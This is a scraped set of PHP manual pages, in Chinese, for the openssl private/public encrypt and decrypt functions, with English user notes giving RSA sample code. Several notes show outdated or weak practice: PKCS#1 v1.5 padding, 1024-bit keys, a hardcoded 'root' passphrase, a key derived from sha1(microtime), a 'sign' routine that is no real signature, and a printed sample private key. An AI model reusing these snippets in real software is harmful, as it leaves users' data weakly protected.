Use this to store stuff in your database: Unless someone
has your private key, the database contents are useless.

Also, use this for sending to a specific individual:  Get
their public key, encrypt the message, only they can use
their private key to decode it.

<?php
echo "Source: $source";
$fp=fopen("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_encrypt($source,$crypttext,$pub_key);
echo "String crypted: $crypttext";

$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_decrypt($crypttext,$newsource,$res);
echo "String decrypt : $newsource";
?>


使用私钥加密数据

  • ? openssl_private_decrypt
  • openssl_public_decrypt ?
  • PHP Manual
  • OpenSSL 函数
  • 使用私钥加密数据

openssl_private_encrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_private_encrypt — 使用私钥加密数据

说明

openssl_private_encrypt(
string $data,
string &$encrypted_data,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
int $padding = OPENSSL_PKCS1_PADDING
): bool

openssl_private_encrypt() 使用私钥 private_key 加密数据 data 并且将结果保存至变量 encrypted_data中。加密后的数据可以通过openssl_public_decrypt()函数来解密。

该函数用来签名数据（或者哈希）让别人相信数据并不是其他人写的。

参数

data

encrypted_data

private_key

padding

padding 可以是如下之一： OPENSSL_PKCS1_PADDING, OPENSSL_NO_PADDING.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | private_key 现在接受 OpenSSLAsymmetricKey 或 OpenSSLCertificate 实例；之前接受类型 OpenSSL key 或 OpenSSL X.509 的 resource。

参见

  • openssl_public_encrypt() - 使用公钥加密数据
  • openssl_public_decrypt() - 使用公钥解密数据

User Contributed Notes

Hernanibus 31-Aug-2016 02:52
Just a little note on  [P.Peyremorte]'s note.

"- openssl_private_encrypt can encrypt a maximum of 117 chars at one time."

This depends on the length of $key:

- For a 1024 bit key length => max number of chars (bytes) to encrypt = 1024/8 - 11(when padding used) = 117 chars (bytes).
- For a 2048 bit key length => max number of chars (bytes) to encrypt = 2048/8 - 11(when padding used) = 245 chars (bytes).
... and so on

By the way, if openssl_private_encrypt fails because of data size you won't get anything but just false as returned value, the same for openssl_public_decrypt() on decryption.

"- the encrypted output string is always 129 char length. If you use base64_encode on the encrypted output, it will give always 172 chars, with the last always "=" (filler)"

This again depends on the length of $key:

- For a 1024 bit key length => encrypted number of raw bytes is always a block of 128 bytes (1024 bits) by RSA design.
- For a 2048 bit key length => encrypted number of raw bytes is always a block of 256 bytes (2048 bits) by RSA design.
... and so on

About base64_encode output length, it depends on what you encode (meaning it depends on the bytes resulting after encryption), but in general the resulting encoded string will be about a 33% bigger (for 128 bytes bout 170 bytes and for 256 bytes about 340 bytes).

I would then generalize a little [P.Peyremorte]'s note by:
<?php
// given the variables as constants:

  //Block size for encryption block cipher
  private $ENCRYPT_BLOCK_SIZE = 200;// this for 2048 bit key for example, leaving some room

  //Block size for decryption block cipher
  private $DECRYPT_BLOCK_SIZE = 256;// this again for 2048 bit key

         //For encryption we would use:
  function encrypt_RSA($plainData, $privatePEMKey)
  {
    $encrypted = '';
    $plainData = str_split($plainData, $this->ENCRYPT_BLOCK_SIZE);
    foreach($plainData as $chunk)
    {
      $partialEncrypted = '';

      //using for example OPENSSL_PKCS1_PADDING as padding
      $encryptionOk = openssl_private_encrypt($chunk, $partialEncrypted, $privatePEMKey, OPENSSL_PKCS1_PADDING);

      if($encryptionOk === false){return false;}//also you can return and error. If too big this will be false
      $encrypted .= $partialEncrypted;
    }
    return base64_encode($encrypted);//encoding the whole binary String as MIME base 64
  }

         //For decryption we would use:
  protected function decrypt_RSA($publicPEMKey, $data)
  {
    $decrypted = '';

    //decode must be done before spliting for getting the binary String
    $data = str_split(base64_decode($data), $this->DECRYPT_BLOCK_SIZE);

    foreach($data as $chunk)
    {
      $partial = '';

      //be sure to match padding
      $decryptionOK = openssl_public_decrypt($chunk, $partial, $publicPEMKey, OPENSSL_PKCS1_PADDING);

      if($decryptionOK === false){return false;}//here also processed errors in decryption. If too big this will be false
      $decrypted .= $partial;
    }
    return $decrypted;
  }
?>
P.Peyremorte 15-Mar-2016 06:17
A trick not mentioned in manual to know :

- openssl_private_encrypt can encrypt a maximum of 117 chars at one time.
- the encrypted output string is always 129 char length. If you use base64_encode on the encrypted output, it will give always 172 chars, with the last always "=" (filler).

So, to encode a longer stream input you have to use something like :
<?php
$RawData = ... ; //Your input data to encode

$PartialData = '';
$EncodedData = '';
$Split = str_split($RawData , 117);
ForEach($Split as $Part)
{
  openssl_private_encrypt($Part, $PartialData, $PrivateKey);
  $EncodedData .= base64_encode($PartialData);
}
?>

and then, to decode :

<?php
$OriginalData = '';
$Split = str_split($EncodedData , 172);
ForEach($Split as $Part)
{
  openssl_private_decrypt(base64_decode($Part), $PartialData, $PublicKey);
  $OriginalData .= $PartialData;
}
?>
adityasingh at techknowtrends dot com 02-Apr-2012 09:18
Here is a over simplified version of using the crypt capabilities for getting started:

$res = openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privkey);

// Get public key
$pubkey = openssl_pkey_get_details($res);
$pubkey = $pubkey["key"];
var_dump($privkey);
var_dump($pubkey);

// get some text from command line to work with
$tocrypt = trim(fgets(STDIN));

// some variables to work with
$encryptedviaprivatekey = ""; //holds text encrypted with the private key
$decryptedviapublickey = ""; // holds text which was decrypted by the public key after being encrypted with the private key, should be same as $tocrypt
$encryptedviapublickey = ""; // holds text that was encrypted with the public key
$decryptedviaprivatekey = ""; // holds text that was decrypted with the private key after being encrypted with the public key, should be the same as $tocrypt

openssl_private_encrypt($tocrypt, $encryptedviaprivatekey, $privkey);
echo $tocrypt . "->" . $encryptedviaprivatekey;
echo "\n\n";
openssl_public_decrypt($encryptedviaprivatekey, $decryptedviapublickey, $pubkey);
echo $encryptedviaprivatekey . "->" . $decryptedviapublickey;
echo "\n\n";

openssl_public_encrypt($tocrypt,$encryptedviapublickey, $pubkey);
echo $tocrypt . "->" . $encryptedviapublickey;
echo "\n\n";
openssl_private_decrypt($encryptedviapublickey, $decryptedviaprivatekey, $privkey);
echo $encryptedviapublickey . "->" . $decryptedviaprivatekey;

Output:

string(887) "-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCy745x8AqGKlTWBu2Ub80boPaQxo/midZ4LHZ0zbPpiCAfkADN
VYSe8OckPKutdjPX7SNAx66PgQRH1xrz1gysbRrf8K/mA0LQ00MKBFaFottWt5cC
IaUS9zvCgPw7prwng3hkGShnvTSMXiKFyt1E3RTvpXRk0u46D6hKiy+TSQIDAQAB
AoGBAJe1jjNCDtoz19vi4doBdIhhT8vt3iHbafBX2lMr+MceeAXqpRNy10+e9op9
uh0G4+vGDialZnYbMBLs6Ngl+nVnzn+cN1MMJ18brgf3biZKzVzK9wmOW4eycWaR
9eLa7/+ns8Cw5GsLJdG+OHR2gXRXU4hzUFdf90UUbP+kuqK1AkEA2X04XznFDNmT
NuhyCixwinlziazJBp/81jjaBhYj3cG0nTF0Gactc/yD0yudbrMqjLBfts+FbG3Z
yFHKrAB/cwJBANKetll3M3aCGsermEK+9hbB8yMihCju6pAwClUNkrAgrm9zU4LP
WkC81RDzXbz+pfIqpopfn34F3+U2iMiOe1MCQCXpTgpLZ631v1Oy8S4U0QlSYnF9
TQ16lfhBsL+e3GGrgnBkTniqS6IMQm5tC+RgFuqvU//p7LgZ7fydRVb2P0ECQFp9
YADuKskmutTAj6lVnCtI5upYgQmJJHQQf8/tBfHwCKHPnbic17zqpGwk80go7Ckw
U98tmDuv0HMNTBVGygsCQALck7VNBRjL9iFzJMFis+alcP1ZC88wOLPvIxYbevUH
c8rZwRqt1aHwaWOoxcVom+tyzRC6gEYoBarmU1bX4No=
-----END RSA PRIVATE KEY-----
"
string(272) "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCy745x8AqGKlTWBu2Ub80boPaQ
xo/midZ4LHZ0zbPpiCAfkADNVYSe8OckPKutdjPX7SNAx66PgQRH1xrz1gysbRrf
8K/mA0LQ00MKBFaFottWt5cCIaUS9zvCgPw7prwng3hkGShnvTSMXiKFyt1E3RTv
pXRk0u46D6hKiy+TSQIDAQAB
-----END PUBLIC KEY-----
"
this is a test for crypting
( |E@n￥u?7F?μ￥+-M?ìk?7￥;t?8[j??r?|a-Tü++?YG?-ú?|}9+k8OJn_?|x?|
dó+aév.c??-?`,|?·5u|p%Z2¤üI?? ?

( |E@n￥u?7F?μ￥+-M?ìk?7￥;t?8[j??r?|a-Tü++?YG?-ú?|}9+k8OJn_?|x?|
dó+aév.c??-?`,|?·5u|p%Z2¤üI?? ?->this is a test for crypting

this is a test for crypting->hT!?_
#+￡-í??o?￠?Ss+üSn??-(|?Ikl[¤|=?í??+Uy·N,=b=+|TàmeNo|A~ù?tü|@???|SV5?a*|?·U?oP?Fq
-? O{2|á|,?IN)+_-?F+*|{|??G-??￡/??±"PFL

hT!?_
#+￡-í??o?￠?Ss+üSn??-(|?Ikl[¤|=?í??+Uy·N,=b=+|TàmeNo|A~ù?tü|@???|SV5?a*|?·U?oP?Fq
-? O{2|á|,?IN)+_-?F+*|{|??G-??￡/??±"PFL->this is a test for crypting
wfredkNOSPAM at L5DevelopmentNOSPAM dot com 08-Mar-2002 03:50
Encrypt using private key, decrypt using public key.

Use this for posting signed messages:  Anyone with access to
your public key can read it, but they can't create one with
your signature.

<?php
echo "Source: $source";
$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_encrypt($source,$crypttext,$res);
echo "String crypted: $crypttext";

$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_decrypt($crypttext,$newsource,$pub_key);
echo "String decrypt : $newsource";
?>
billnet at tiscalinet dot it 28-Jan-2002 10:47
<?php
$fp=fopen ("/path/to/key.pem","r");
$priv_key=fread ($fp,8192);
fclose($fp);
openssl_get_privatekey ($priv_key);
openssl_private_encrypt($source,$finaltext,$priv_key);
echo "String crypted: $finaltext";
?>

CIAO !


使用公钥解密数据

  • ? openssl_private_encrypt
  • openssl_public_encrypt ?
  • PHP Manual
  • OpenSSL 函数
  • 使用公钥解密数据

openssl_public_decrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_public_decrypt — 使用公钥解密数据

说明

openssl_public_decrypt(
string $data,
string &$decrypted_data,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key,
int $padding = OPENSSL_PKCS1_PADDING
): bool

openssl_public_decrypt() 解密先前由 openssl_private_encrypt() 加密的数据 data 并且将结果保存至变量 decrypted_data中。

你可以用该函数来校验消息是否是私钥拥有者写的。

参数

data

decrypted_data

public_key

public_key 必须是和用来加密数据的私钥配对的公钥。

padding

padding 可以是如下至 OPENSSL_PKCS1_PADDING, OPENSSL_NO_PADDING.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | public_key 现在接受 OpenSSLAsymmetricKey 或 OpenSSLCertificate 实例。之前接受类型 OpenSSL key 或 OpenSSL X.509 的 resource。

参见

  • openssl_private_encrypt() - 使用私钥加密数据
  • openssl_private_decrypt() - 使用私钥解密数据

User Contributed Notes

Hernanibus 31-Aug-2016 02:54
Just a little note on  [P.Peyremorte]'s note in manual's openssl_private_encrypt.

"- openssl_private_encrypt can encrypt a maximum of 117 chars at one time."

This depends on the length of $key:

- For a 1024 bit key length => max number of chars (bytes) to encrypt = 1024/8 - 11(when padding used) = 117 chars (bytes).
- For a 2048 bit key length => max number of chars (bytes) to encrypt = 2048/8 - 11(when padding used) = 245 chars (bytes).
... and so on

By the way, if openssl_private_encrypt fails because of data size you won't get anything but just false as returned value, the same for openssl_public_decrypt() on decryption.

"- the encrypted output string is always 129 char length. If you use base64_encode on the encrypted output, it will give always 172 chars, with the last always "=" (filler)"

This again depends on the length of $key:

- For a 1024 bit key length => encrypted number of raw bytes is always a block of 128 bytes (1024 bits) by RSA design.
- For a 2048 bit key length => encrypted number of raw bytes is always a block of 256 bytes (2048 bits) by RSA design.
... and so on

About base64_encode output length, it depends on what you encode (meaning it depends on the bytes resulting after encryption), but in general the resulting encoded string will be about a 33% bigger (for 128 bytes bout 170 bytes and for 256 bytes about 340 bytes).

I would then generalize a little [P.Peyremorte]'s note by:
<?php
// given the variables as constants:

  //Block size for encryption block cipher
  private $ENCRYPT_BLOCK_SIZE = 200;// this for 2048 bit key for example, leaving some room

  //Block size for decryption block cipher
  private $DECRYPT_BLOCK_SIZE = 256;// this again for 2048 bit key

         //For encryption we would use:
  function encrypt_RSA($plainData, $privatePEMKey)
  {
    $encrypted = '';
    $plainData = str_split($plainData, $this->ENCRYPT_BLOCK_SIZE);
    foreach($plainData as $chunk)
    {
      $partialEncrypted = '';

      //using for example OPENSSL_PKCS1_PADDING as padding
      $encryptionOk = openssl_private_encrypt($chunk, $partialEncrypted, $privatePEMKey, OPENSSL_PKCS1_PADDING);

      if($encryptionOk === false){return false;}//also you can return and error. If too big this will be false
      $encrypted .= $partialEncrypted;
    }
    return base64_encode($encrypted);//encoding the whole binary String as MIME base 64
  }

         //For decryption we would use:
  protected function decrypt_RSA($publicPEMKey, $data)
  {
    $decrypted = '';

    //decode must be done before spliting for getting the binary String
    $data = str_split(base64_decode($data), $this->DECRYPT_BLOCK_SIZE);

    foreach($data as $chunk)
    {
      $partial = '';

      //be sure to match padding
      $decryptionOK = openssl_public_decrypt($chunk, $partial, $publicPEMKey, OPENSSL_PKCS1_PADDING);

      if($decryptionOK === false){return false;}//here also processed errors in decryption. If too big this will be false
      $decrypted .= $partial;
    }
    return $decrypted;
  }
?>
wfredkNOSPAM at L5DevelopmentNOSPAM dot com 08-Mar-2002 03:52
Encrypt using private key, decrypt using public key.

Use this for posting signed messages:  Anyone with access to
your public key can read it, but they can't create one with
your signature.

<?php
echo "Source: $source";
$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_encrypt($source,$crypttext,$res);
echo "String crypted: $crypttext";

$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_decrypt($crypttext,$newsource,$pub_key);
echo "String decrypt : $newsource";
?>
billnet at tiscalinet dot it 28-Jan-2002 10:41
<?php
$fp=fopen ("/path/to/certificato.pem");
$pub_key=fread ($fp,8192);
openssl_get_publickey ($pub_key);
openssl_public_decrypt ($source,$finaltext,$pub_key);
echo "String decrypt : $finaltext";
?>


使用公钥加密数据

  • ? openssl_public_decrypt
  • openssl_random_pseudo_bytes ?
  • PHP Manual
  • OpenSSL 函数
  • 使用公钥加密数据

openssl_public_encrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_public_encrypt — 使用公钥加密数据

说明

openssl_public_encrypt(
string $data,
string &$encrypted_data,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key,
int $padding = OPENSSL_PKCS1_PADDING
): bool

openssl_public_encrypt() 使用公钥 public_key 解密数据 data 并且将结果保存到变量 encrypted_data 中。加密的数据可以通过 openssl_private_decrypt() 函数解密。

该函数可以用来加密数据，供该公钥匹配的私钥拥有者读取。 它也可以用来在数据库中存储安全数据。

参数

data

encrypted_data

这将保存加密的结果。

public_key

公钥。

padding

padding can be one of OPENSSL_PKCS1_PADDING, OPENSSL_SSLV23_PADDING, OPENSSL_PKCS1_OAEP_PADDING, OPENSSL_NO_PADDING.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | public_key 现在接受 OpenSSLAsymmetricKey 或 OpenSSLCertificate 实例。之前接受类型 OpenSSL key 或 OpenSSL X.509 的 resource。

参见

  • openssl_private_encrypt() - 使用私钥加密数据
  • openssl_private_decrypt() - 使用私钥解密数据

User Contributed Notes

1520667045 at qq dot com 30-Oct-2020 08:22
<?php
$value =<<<EOL
some long long text
EOL;
$data = str_split($value, 214); // max is 214
$result = '';
foreach($data as $d){
    if(openssl_public_encrypt($d, $encrypted, $publickey, OPENSSL_PKCS1_OAEP_PADDING)){
        $result .= $encrypted;
    }
}
var_dump($result);
$result = base64_encode($result);
$data = str_split(base64_decode($result), 256); //every strlen($encrypted) == 256
$result = '';
foreach($data as $d){
    if(openssl_private_decrypt($d, $decrypted, $privatekey, OPENSSL_PKCS1_OAEP_PADDING)){
        $result .= $decrypted;
    }
}
var_dump($result);
?>
security at paragonie dot com 11-Dec-2015 12:00
We can't guarantee that RSA will still be trusted for security in 2016, but this is the current best practice for RSA. The rest of the world is moving on to ECDH and EdDSA (e.g. Ed25519).

That said, make sure you are using OPENSSL_PKCS1_OAEP_PADDING or else you're vulnerable to a chosen-ciphertext attack (Google: "Daniel Bleichenbacher 1998 RSA padding oracle" and you'll find plenty of material on it.)

The only fix is to use OAEP (preferably with MGF1-SHA256, but this function doesn't let you specify that detail and defaults to MGF1+SHA1).

Phpseclib offers RSAES-OAEP + MGF1-SHA256 for encryption and RSASS-PSS + MGF1-SHA256 for signatures.

http://phpseclib.sourceforge.net/rsa/examples.html#encrypt,enc1

If you don't want to hassle with these details yourself,  check out https://github.com/paragonie/EasyRSA
AoK 02-Jun-2014 03:16
Very important to recognize the maximum size $data string constraint and its relation to SSL bit size as pointed out by others.  Before I addressed the maximum size limit through blocking the data, I was receiving these types of errors from openssl_error_string():
- error:0906D06C:PEM routines:PEM_read_bio:no start line  OR
- error:0E06D06C:configuration file routines:NCONF_get_string:no value
Using a key (sha512, OPENSSL_KEYTYPE_RSA) with 2048 bits, I had a maximum message size of 245 bytes and 4096 bits yielded a max size of 502 bytes.  So if you change your key size later, in particular if you reduce the size of it, be aware it affects your maximum encryption length.
sumadhuracool at gmail dot com 23-Jun-2011 04:22
length of the data < length of the private key ..so i divided the message while taking it,put a ":::".then again encrpt it. look at the pgm to get an idea about this..

<?php
    class cry
    {
            # generate a 1024 bit rsa private key, ask for a passphrase to encrypt it and save to file
            //openssl genrsa -des3 -out /path/to/privatekey 1024

            # generate the public key for the private key and save to file
            //openssl rsa -in /path/to/privatekey -pubout -out /path/to/publickey
            //programatically using php-openssll

            //This will call while registration
            function gen_cert($userid)
            {
                $dn = array("countryName" => 'XX', "stateOrProvinceName" => 'State', "localityName" => 'SomewhereCity', "organizationName" =>'MySelf', "organizationalUnitName" => 'Whatever', "commonName" => 'mySelf', "emailAddress" => 'user@example.com');
                //Passphrase can be taken during registration
                //Here its initialized to 1234 for sample
                $privkeypass = 'root';
                $numberofdays = 365;
                //RSA encryption and 1024 bits length
                $privkey = openssl_pkey_new(array('private_key_bits' => 1024,'private_key_type' => OPENSSL_KEYTYPE_RSA));
                $csr = openssl_csr_new($dn, $privkey);
                $sscert = openssl_csr_sign($csr, null, $privkey, $numberofdays);
                openssl_x509_export($sscert, $publickey);
                openssl_pkey_export($privkey, $privatekey, $privkeypass);
                openssl_csr_export($csr, $csrStr);
                //Generated keys are stored into files
                $fp=fopen("../PKI/private/$userid.key","w");
                fwrite($fp,$privatekey);
                fclose($fp);
                $fp=fopen("../PKI/public/$userid.crt","w");
                fwrite($fp,$publickey);
                fclose($fp);
            }
            //Encryption with public key
            function encrypt($source,$rc)
            {
                //path holds the certificate path present in the system
                $path="../PKI/public/server.crt";
                $fp=fopen($path,"r");
                $pub_key=fread($fp,8192);
                fclose($fp);
                openssl_get_publickey($pub_key);
            //$source='';
                //$source="sumanth ahoiadodakjaksdsa;ldadkkllksdalkalsdl;asld;ls sumanthasddddddddddddddddddddddddddddddddfsdfsffdfsdfsumanth";
                $j=0;
                $x=strlen($source)/10;
                $y=floor($x);
                for($i=0;$i<$y;$i++)
                {
                $crypttext='';

                openssl_public_encrypt(substr($source,$j,10),$crypttext,$pub_key);$j=$j+10;
                $crt.=$crypttext;
                $crt.=":::";
                }
                if((strlen($source)%10)>0)
                {
                openssl_public_encrypt(substr($source,$j),$crypttext,$pub_key);
                $crt.=$crypttext;
                }
                return($crt);

            }
            //Decryption with private key
            function decrypt($crypttext,$userid)
            {
                $passphrase="root";
                $path="../PKI/private/server.key";
                $fpp1=fopen($path,"r");
                $priv_key=fread($fpp1,8192);
                fclose($fpp1);
                $res1= openssl_get_privatekey($priv_key,$passphrase);
                $tt=explode(":::",$crypttext);
                $cnt=count($tt);
                $i=0;
                while($i<$cnt)
                {
                openssl_private_decrypt($tt[$i],$str1,$res1);
                $str.=$str1;
                $i++;
                }
                return $str;
        }
            function sign($source,$rc)
            {
                $has=sha1($source);
                $source.="::";
                $source.=$has;
                $path="../PKI/public/$rc.crt";
                $fp=fopen($path,"r");
                $pub_key=fread($fp,8192);
                fclose($fp);
                openssl_get_publickey($pub_key);
                openssl_public_encrypt($source,$mese,$pub_key);
                return $mese;

            }
            function verify($crypttext,$userid)
            {
                $passphrase="root";
                $path="../PKI/private/$userid.key";
                $fpp1=fopen($path,"r");
                $priv_key=fread($fpp1,8192);
                fclose($fpp1);
                $res1= openssl_get_privatekey($priv_key,$passphrase);
                openssl_private_decrypt($crypttext,$has1,$res1);
                list($c1,$c2)=split("::",$has1);
                $has=sha1($c1);
                if($has==$c2)
                {
                    $message=$c1;
                    return $message;
                }
            }

    }
?>
ppostma1 14-Jun-2011 12:09
The confusion most have seems to be on "mixed $key"

The $key is explained in, and mostly the same as the parameter of http://www.php.net/manual/en/function.openssl-pkey-get-public.php

It can take the resource $key returned from openssl_pkey_get_public() OR find the value is text and passes the text to openssl_pkey_get_public() to get a valid resource.

To better break down rstinnett's example:
(and where the flaw is)

<?php
function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key_string=fread($fp,8192);
  fclose($fp);
  openssl_get_publickey($pub_key);

  openssl_public_encrypt($source,$crypttext,$pub_key_string);
  /*this simply passes the string contents of pub_key_string back to be decoded*/
  return(base64_encode($crypttext));
}
?>

is more efficient:

<?php
function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key_string=fread($fp,8192);
  fclose($fp);
  $key_resource = openssl_get_publickey($pub_key);

  openssl_public_encrypt($source,$crypttext, $key_resource );
  /*uses the already existing key resource*/
  return(base64_encode($crypttext));
}
?>

shorter:

<?php
function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key=fread($fp,8192);
  fclose($fp);

  openssl_public_encrypt($source,$crypttext, $pub_key );

  return(base64_encode($crypttext));
}
?>
Mark Seecof 16-Jul-2010 12:37
If you need a message key, obtain it from the openssl_random_pseudo_bytes() function.

DO NOT just hash the current time-- an attacker will guess any such key very easily (he'll just hash a bunch of likely time values and try them until he finds the right one.  The attacker can generate and test many millions of candidate hashes every minute using an ordinary PC).
public at grik dot net 25-Dec-2009 10:10
openssl_private_encrypt() has a low limit for the length of the data it can encrypt due to the nature of the algorithm.

To encrypt the larger data you can use openssl_encrypt() with a random password (like sha1(microtime(true))), and encrypt the password with openssl_public_encrypt().
This way the data can be encrypted with a public key and decrypted with the private one.
adrian 02-Sep-2005 02:53
T. Horsten explained the size limits on raw encryption. Here are two functions to encrypt/decrypt larger data when you can't use the envelope functions:

function ssl_encrypt($source,$type,$key){
//Assumes 1024 bit key and encrypts in chunks.

$maxlength=117;
$output='';
while($source){
  $input= substr($source,0,$maxlength);
  $source=substr($source,$maxlength);
  if($type=='private'){
    $ok= openssl_private_encrypt($input,$encrypted,$key);
  }else{
    $ok= openssl_public_encrypt($input,$encrypted,$key);
  }

  $output.=$encrypted;
}
return $output;
}

function ssl_decrypt($source,$type,$key){
// The raw PHP decryption functions appear to work
// on 128 Byte chunks. So this decrypts long text
// encrypted with ssl_encrypt().

$maxlength=128;
$output='';
while($source){
  $input= substr($source,0,$maxlength);
  $source=substr($source,$maxlength);
  if($type=='private'){
    $ok= openssl_private_decrypt($input,$out,$key);
  }else{
    $ok= openssl_public_decrypt($input,$out,$key);
  }

  $output.=$out;
}
return $output;

}
Thomas Horsten 16-Aug-2005 04:21
chsnyder writes that the data is limited to 936 bits in his implementation.

Actually, it has nothing to do with RSA being CPU intensive, RAM or anything of the sort.

Basically when you encrypt something using an RSA key (whether public or private), the encrypted value must be smaller than the key (due to the maths used to do the actual encryption). So if you have a 1024-bit key, in theory you could encrypt any 1023-bit value (or a 1024-bit value smaller than the key) with that key.

However, the PKCS#1 standard, which OpenSSL uses, specifies a padding scheme (so you can encrypt smaller quantities without losing security), and that padding scheme takes a minimum of 11 bytes (it will be longer if the value you're encrypting is smaller). So the highest number of bits you can encrypt with a 1024-bit key is 936 bits because of this (unless you disable the padding by adding the OPENSSL_NO_PADDING flag, in which case you can go up to 1023-1024 bits). With a 2048-bit key it's 1960 bits instead.

But as chsnyder correctly wrote, the normal application of a public key encryption algorithm is to store a key or a hash of the data you want to respectively encrypt or sign. A hash is typically 128-256 bits (the PHP sha1() function returns a 160 bit hash). And an AES key is 128 to 256 bits. So either of those will comfortably fit inside a single RSA encryption.
kenashkov at gmail dot com 30-Jun-2005 05:04
The encrypted data can be stored in MySQL without use of base64. It must be properly escaped with mysql_real_escape_string(), and then saved to BLOB column. (In fact - this function must be used every time when you insert binary data in MySQL).
chsnyder at gmail dot com 19-Feb-2005 09:18
In comment below, Jeff says the input to this function is limited to "about 50 characters". On my PHP5 build, the limit is 117 characters (936 bits, strange number).

That's because public key encryption is CPU intensive, and meant to be used on short values. The idea is to use this function to encrypt a secret key that is in turn used to encrypt data using a more efficient algorithm, such as RC4 or TripleDES. The recipient uses their private key to decrypt the secret, and can then decrypt the data.

The openssl_seal() and openssl_open() functions do this internally, and are very well documented. You should probably use them instead.
pigo at ms5 dot url dot com dot tw 11-Nov-2004 12:33
openssl_public_encrypt and openssl_private_encrypt can't encrypt large data . so I write a class . this class can encrypt large data and decrypt.

look url : http://pigo.pigo.idv.tw/opensslcrypt.phps
rstinnett at bfmhconsulting dot com 06-Oct-2004 06:37
To store the encrypted data in a MySQL database, you first have to encode the data so it can safely be written. You can use a blob type for this, but it can make SELECTs really nasty. The easiest way I have found to do this is with base64_encode and base64_decode. The following example using code from a previous example and split into encrypt and decrypt functions.

function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key=fread($fp,8192);
  fclose($fp);
  openssl_get_publickey($pub_key);
  /*
   * NOTE:  Here you use the $pub_key value (converted, I guess)
   */
  openssl_public_encrypt($source,$crypttext,$pub_key);
  return(base64_encode($crypttext));
}

function DecryptData($source)
{
  #print("number : $number");
  $fp=fopen("/etc/httpd/conf/ssl.key/server.key","r");
  $priv_key=fread($fp,8192);
  fclose($fp);
  // $passphrase is required if your key is encoded (suggested)
  $res = openssl_get_privatekey($priv_key,$passphrase);
  /*
   * NOTE:  Here you use the returned resource value
   */
  $decoded_source = base64_decode($source);
  openssl_private_decrypt($decoded_source,$newsource,$res);
  return($newsource);
}

Just use the return values to store the encrypted data or display the decrypted data.
Jeff 11-May-2004 12:18
I figured it out.  This function is not intended for general encryption and decryption.  For that, you want openssl_seal() and openssl_open().
Jeff 10-May-2004 02:15
It looks like there is a limit on the size of the string to be encrypted: about 50 characters.

This is due to the fact that the implementation allocates an output buffer of size EVP_PKEY_size(pkey), which is totally arbitrary and unrelated to the size of the input.  Also, it's not using a cipher envelope approach.  It's just RSAing the input string.
lonewolf at greyskydesigns dot com 16-Apr-2003 10:28
Easy way:

<?php

$publicKey = "file://path/to/public/key-crt.pem";
$plaintext = "String to encrypt";

openssl_public_encrypt($plaintext, $encrypted, $publicKey);

echo $encrypted;   //encrypted string

?>
webmaster at costarica-travelinfo dot com 13-Mar-2003 02:51
This example worked for me:

RedHat 7.2 / php 4.2.2 / Apache 1.3.7

// STEP 1: Encryption with Public Key (you will need Private Key to decrypt - see step2).

$string="Some Important Data";
$fp=fopen ("cert.pem","r");
$pub_key=fread ($fp,8192);
fclose($fp);
$PK="";
$PK=openssl_get_publickey($pub_key);
if (!$PK) {
    echo "Cannot get public key";
}
$finaltext="";
openssl_public_encrypt($string,$finaltext,$PK);
if (!empty($finaltext)) {
    openssl_free_key($PK);
    echo "Encryption OK!";
}else{
    echo "Cannot Encrypt";
}

// STEP 2: Decription (Using Private Key)

$fp=fopen ("pk.pem","r");
$priv_key2=fread ($fp,8192);
fclose($fp);
$PK2=openssl_get_privatekey($priv_key2);
$Crypted=openssl_private_decrypt($Data,$Decrypted,$PK2);
if (!$Crypted) {
    $MSG.="<p class='error'>Cannot Decrypt ($CCID).</p>";
}else{
    echo "Decrypted Data: " . $Decrypted;
}
hromi at kyberia dot sk 07-Oct-2002 10:31
function description is wrong, you have to switch crypttext and text if you want it to work
this is correct:
bool openssl_public_encrypt ( string crypted, string data, mixed key [, int padding])
wfredkNOSPAM at L5DevelopmentNOSPAM dot com 08-Mar-2002 03:56
Encrypt using public key, decrypt using private key.

Use this to store stuff in your database: Unless someone
has your private key, the database contents are useless.

Also, use this for sending to a specific individual:  Get
their public key, encrypt the message, only they can use
their private key to decode it.

<?php
echo "Source: $source";
